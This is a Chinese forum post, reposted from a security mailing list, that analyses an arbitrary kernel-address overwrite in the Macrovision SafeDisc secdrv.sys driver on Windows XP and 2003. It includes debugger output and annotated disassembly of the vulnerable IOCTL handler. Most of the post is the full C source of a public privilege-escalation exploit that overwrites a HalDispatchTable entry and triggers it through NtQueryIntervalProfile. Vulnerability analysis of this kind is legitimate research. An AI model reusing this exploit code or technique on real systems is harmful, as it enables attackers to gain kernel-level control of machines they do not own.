[Ph4nt0m]_secdrv.sys任意kernel地址覆盖漏洞浅析(0day)

以下消息来自幻影论坛[Ph4nt0m]邮件组
secdrv.sys任意kernel地址覆盖漏洞浅析(0day)
by flyingkisser
 
前言:
这几天忙着找工作,没及时看安全公告,这个0day出了好几天才知道,
并且等我想分析时,才发现poc已经出来了。
Anyway,还是把分析过程写一写吧,尽管没什么技术含量,
这里我只分析了主要的地方,也只说说关键的。
 
1.什么是secdrv.sys
secdrv.sys,不知道是干什么的,也懒得去google了,我只发现xp的默认安装
有这个文件,位于%systemroot%\system32\drivers\,并且,我的机器默认没有
加载这个驱动,我也不清楚什么条件下系统会加载这个驱动。
 
2.分析这个漏洞前的准备
a.加载这个驱动,并run(我用的是kmdmanager.exe)
b.开kd(这里就不用softice动态跟了,因为我的虚拟机一运行softice,主机的cpu使用率就100%,
如果有人知道为什么,麻烦来信告诉我))
 
kd> !object \Driver\
在茫茫信息中找到
 18  81218c08 Driver        secdrv
 
kd> dt nt!_driver_object 81218c08 MajorFunction
nt!_DRIVER_OBJECT
   +0x038 MajorFunction : [28] 0xfaf38f28     +0
 
kd> dd 81218c08+38+e*4 l1
81218c78  faf38f28
(因为IRP_MJ_DEVICE_CONTROL=e)
 
因此得知这个驱动对象的Irp的Dispatch函数地址是faf38f28
 
下面,我们直接看看这个Dispatch函数的内部实现就行了
 
3.Dispatch函数的内部实现
首先,通过POC我已经知道发生问题的io control code是0xCA002813
io control code的格式如下:
-------------------------------------------------------
| Bit31-Bit16 | Bit15,Bit14 | Bit14-Bit2 | Bit1,Bit0  |
-------------------------------------------------------
| DeviceType  |   Access    | Function   |   Method   |
-------------------------------------------------------
0xCA002813最后一个字节是13,即bit1,bit0是11,所以使用的Method是METHOD_NEITHER,
即i/o管理器对DeviceIoControl 提供的输入缓冲区和输出缓冲区的内容不进行额外的复制,
即输入缓存区和输出缓冲区都是ring3调用入栈的地址。这时:
InputBuf位于IO_STACK_LOCATION结构的Parameters.DeviceIoControl.Type3InputBuffer成员中
OutputBuf位于_Irp结构的UserBuffer成员中
 
下面来看这个Dispatch函数内部关键的汇编代码 
 
faf38e2c 817df0132800ca  cmp     dword ptr [ebp-10h],0CA002813h ;0xCA002813
faf38e33 7434            je      secdrv+0x5e69 (faf38e69)       ;according to poc,this is the MAGIC_IOCTL,need to jump
 
faf38e69 8b450c          mov     eax,dword ptr [ebp+0Ch]        ;eax=&pIrp->IoStatus
faf38e6c 832000          and     dword ptr [eax],0                      ;pIrp->IoStatus->Status=0
faf38e6f 8b450c          mov     eax,dword ptr [ebp+0Ch]
faf38e72 83600400        and     dword ptr [eax+4],0            ;pIrp->IoStatus->Information=0
faf38e76 8b45e8          mov     eax,dword ptr [ebp-18h]        ;pIrp->CurrentStackLocation
faf38e79 8b4010          mov     eax,dword ptr [eax+10h]        ;eax=csl->Parameters->DeviceIoControl->Type3InputBuffer
faf38e7c 8945f4          mov     dword ptr [ebp-0Ch],eax
faf38e7f 8b45e8          mov     eax,dword ptr [ebp-18h]
faf38e82 8b4008          mov     eax,dword ptr [eax+8]
faf38e85 8945ec          mov     dword ptr [ebp-14h],eax        ;eax=csl->Parameters->DeviceIoControl->InputBufferLength
faf38e88 8b45e8          mov     eax,dword ptr [ebp-18h]
faf38e8b 8b4004          mov     eax,dword ptr [eax+4]
faf38e8e 8945fc          mov     dword ptr [ebp-4],eax          ;eax=csl->Parameters->DeviceIoControl->OutputBufferLength
faf38e91 8b45ec          mov     eax,dword ptr [ebp-14h]
faf38e94 3b45fc          cmp     eax,dword ptr [ebp-4]          ;
faf38e97 7417            je      secdrv+0x5eb0 (faf38eb0)       ;need to jump
 
;if(csl->Parameters->DeviceIoControl->OutputBufferLength==csl->Parameters->DeviceIoControl->InputBufferLength)
;jump here
;即输入Buf和输出Buf的长度需要相等才行
faf38eb0 8b45f4          mov     eax,dword ptr [ebp-0Ch]        ;eax=csl->Parameters->DeviceIoControl->Type3InputBuffer
                                                                                                                        ;short for InBuf
faf38eb3 8945f8          mov     dword ptr [ebp-8],eax
faf38eb6 8b45f8          mov     eax,dword ptr [ebp-8]
faf38eb9 ff700c          push    dword ptr [eax+0Ch]            ;InBuf[3]
faf38ebc 8b45f4          mov     eax,dword ptr [ebp-0Ch]        
faf38ebf 83c010          add     eax,10h
faf38ec2 50              push    eax                                            ;&InBuf[4]
faf38ec3 ff35e891f3fa    push    dword ptr [secdrv+0x61e8 (faf391e8)];
faf38ec9 8b45f8          mov     eax,dword ptr [ebp-8]
faf38ecc ff7004          push    dword ptr [eax+4]                      ;InBuf[1]
faf38ecf 8b45f8          mov     eax,dword ptr [ebp-8]
faf38ed2 ff30            push    dword ptr [eax]                        ;InBuf[0]
faf38ed4 a1e891f3fa      mov     eax,dword ptr [secdrv+0x61e8 (faf391e8)];
faf38ed9 ff5010          call    dword ptr [eax+10h]            ;[eax+10h]=faf380ba
        ;stub_faf380ba(InBuf[0],InBuf[1],dword ptr [secdrv+0x61e8 (faf391e8)],&InBuf[4],InBuf[3])
        ;这个函数调用是对一些参数进行检测,如inBuf[1]必须是96h,这个检测函数的内部就不往下跟了,内容不少
 
 
faf38edc 8945e4          mov     dword ptr [ebp-1Ch],eax        ;must return 0ah
faf38edf 837de40a        cmp     dword ptr [ebp-1Ch],0Ah        ;
faf38ee3 7417            je      secdrv+0x5efc (faf38efc)       ;need jump
 
        ;!!!!!!!!!!!!!!!!!!!!!!!漏洞发生的地方!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
        ;if(stub_faf380ba()==0ah),jump here
        ;------this is what we called vulnerable,write any address by any value
        ;这里把InputBuf的内容覆盖到OutBuf中,而InputBuf和OutBuf的内容又是我们可以控制的,所以,可以发挥想象力了
faf38efc 8b4dfc          mov     ecx,dword ptr [ebp-4]          ;ecx=csl->Parameters->DeviceIoControl->OutputBufferLength
faf38eff 8b75f4          mov     esi,dword ptr [ebp-0Ch]        ;esi=csl->Parameters->DeviceIoControl->Type3InputBuffer
faf38f02 8b4508          mov     eax,dword ptr [ebp+8]          ;eax=pIrp
faf38f05 8b783c          mov     edi,dword ptr [eax+3Ch]        ;edi=pIrp->UserBuffer
faf38f08 8bc1            mov     eax,ecx                                        ;eax=csl->Parameters->DeviceIoControl->OutputBufferLength
faf38f0a c1e902          shr     ecx,2
faf38f0d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
faf38f0f 8bc8            mov     ecx,eax
faf38f11 83e103          and     ecx,3
faf38f14 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
 
4.总结
secdrv.sys对外开放出一个ioctl的接口,ring3可直接使用DeviceIoControl调用这个接口。
这个接口的主要作用是把输入缓冲区的内容复制到输出缓冲出中,当然
输入缓冲区的内容和输出缓冲区的内容都是我们可以控制的。
所以,我们可以使用任意内容覆盖任意地址,这里,因为在kernel中我们的权限是至高无上的,因此使用适当的
内容去覆盖kernel中的内存,便可以实现提权,这里,shellcode和覆盖kernel中的哪块内存不是本文的讨论重点,
请参看下面给出的poc
 
5.poc
from [url]http://www.securityfocus.com/archive/1/482482[/url]
///////////////////////////////////////////////////////
///////////////////////////////////////////////////////
////    
////    Macrovision Safedisc secdrv.sys
////    Privilege Escalation Exploit XP SP2 && 2003
////    ---------------------------------------------
////    This code can only be used for personal study
////    and research purposes.
////    ---------------------------------------------
////    Copy secdrv_plugin.dll to '{kartoffel}\plugins'    
////    > kartoffel.exe -D secdrv_plugin
////    ---------------------------------------------
////    Ruben Santamarta 
////    [url]www.reversemode.com[/url]
////    kartoffel.reversemode.com
////
 
#include "stdafx.h"
 
#define MAGIC_IOCTL             0xCA002813
#define IMAGEBASE               0x400000
 
typedef enum _KPROFILE_SOURCE {
 
 
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
 
 
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
 
typedef DWORD (WINAPI *PNTQUERYINTERVAL)(  KPROFILE_SOURCE ProfileSource,
                                                                                   PULONG          Interval );
 
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                                         )
{
    return TRUE;
}
 
 
_declspec(naked) int ShellCode()
{
        _asm{
                mov eax,0xC0000138
                retn 0x10
        }
}
 
 
 int Callback_Overview()
{
        printf("\n");
        printf("=================================================       \n");
        printf("                Macrovision SafeDisc            \n");
        printf("       SecDrv.sys Privilege Escalation Exploit  \n");
        printf("                XP SP2 && 2003\n");
        printf("=================================================       \n");
        printf("+ K-plugin by: \n");
        printf("  Ruben Santamarta \n");
        printf("+ References:\n");
        printf("  [url]www.macrovision.com[/url]\n");
        printf("  [url]www..symantec.com/enterprise/security_response/weblog/2007/10/privilege_escalation_exploit_i.html[/url]\n");
        printf("  [url]www.reversemode.com[/url]\n\n");
        return 1;
}
 
int Callback_Direct( char *lpInitStr )
{
        PNTQUERYINTERVAL        NtQueryIntervalProfile;
        KPROFILE_SOURCE stProfile = ProfileTotalIssues;
        
        ULONG_PTR   xHalQuerySystemInformation;
        ULONG_PTR       HalDispatchTable;
        ULONG_PTR       HalOffset2;
        ULONG_PTR       HalOffset3;
        ULONG_PTR       BaseNt=0;
        ULONG_PTR       result;
        ULONG_PTR       inBuff[4]; 
 
        WCHAR           **lpDevices = NULL;
        
        HANDLE          hDevice;
        HMODULE         hKernel;
        
        char            szNtos[MAX_PATH];
        
        DWORD           dwNum = 0,i = 0, b=0,junk;
        int                     status=0;
        
        
        Callback_Overview();
        
        
        printf("\n[+] Checking device...");
        hDevice = OpenDevice(L" \\\\.\\SecDrv",
                                                TRUE,
                                                FALSE,
                                                FALSE,
                                                0,
                                                0);
 
        if( hDevice == INVALID_HANDLE_VALUE )
        { 
                printf("Failed!\n\n try \"kartoffel.exe -q c:\\windows\\system32\\drivers\\secdrv.sys,exploiting\" before executing the exploit.\n\n");
                return FALSE;
        }
        printf("OK\n");
        
                
        if( GetDriverInfoByName("krnl",szNtos,&BaseNt) )
        {
                printf("[+] %s loaded at   \t [ 0x%p ]\n",szNtos,BaseNt);
                
        }
        else 
        {
                printf("[!!] Kernel not found :?\n");
                return FALSE;
        }
 
        if( strstr(szNtos,"krnlpa") )
        {
                hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1);   
        }
        else
        {
                hKernel = LoadLibraryExA("ntoskrnl.exe",0,1);
        }       
 
        HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel,
                                                                                                "HalDispatchTable");
 
        if( !HalDispatchTable )
        {
                printf("[!!] HalDispatchTable not found\n");
                return FALSE;
        }
 
        xHalQuerySystemInformation = *(ULONG_PTR*)(HalDispatchTable+sizeof(ULONG_PTR));
        xHalQuerySystemInformation -= IMAGEBASE;
        xHalQuerySystemInformation += BaseNt;
 
        HalOffset2 =*(ULONG_PTR*)(HalDispatchTable-sizeof(ULONG_PTR));
        HalOffset2 -= IMAGEBASE;
        HalOffset2 += BaseNt;
 
 
        HalOffset3 =*(ULONG_PTR*)(HalDispatchTable+sizeof(ULONG_PTR)*2);
        HalOffset3 -= IMAGEBASE;
        HalOffset3 += BaseNt;
 
 
        HalDispatchTable -= ( ULONG_PTR )hKernel;
        HalDispatchTable += BaseNt;
 
        printf("[+] HalDispatchTable found    \t\t\t [ 0x%p ]\n",HalDispatchTable);
        printf("[+] xHalQuerySystemInformation()  \t\t [ 0x%p ]\n",xHalQuerySystemInformation);
        
        printf("[+] NtQueryIntervalProfile ");
 
        NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),
                                                                                                                 "NtQueryIntervalProfile");
        if( !NtQueryIntervalProfile )
        {
                printf("[!!] Unable to resolve NtQueryIntervalProfile\n");
                return FALSE;
        }
        printf( "\t\t\t [ 0x%p ]\n",NtQueryIntervalProfile ); 
        
        inBuff[0] =  HalOffset2;
        inBuff[1] =  0x96;
        inBuff[2] =  (ULONG_PTR)ShellCode;
        inBuff[3] =  HalOffset3;
        
        printf("[+] Input Buffer:\n");
        printf("\t [0] -> 0x%p\n",HalOffset2);
        printf("\t [1] -> 0x%p\n",(ULONG_PTR)0x96);
        printf("\t [2] -> 0x%p\n",(ULONG_PTR)ShellCode);
        printf("\t [3] -> 0x%p\n",HalOffset3);
 
        printf("[+] Sending malformed request...");
        
        DeviceIoControl(hDevice,
                                        MAGIC_IOCTL,
                                        (LPVOID)inBuff,0x10,
                                        (LPVOID)(HalDispatchTable-sizeof(ULONG_PTR)),0x10,
                                        &junk,
                                        NULL);
        printf("OK\n");
 
        printf("[+] Executing shellcode...");
        Sleep(3000);
        NtQueryIntervalProfile(stProfile,&result);
        printf("OK\n");
 
        printf("[+] Exiting...\n");
        CloseHandle(hDevice);
        
        
        
        return status;

你可能感兴趣的:(漏洞,职场,休闲,secdrv.sys)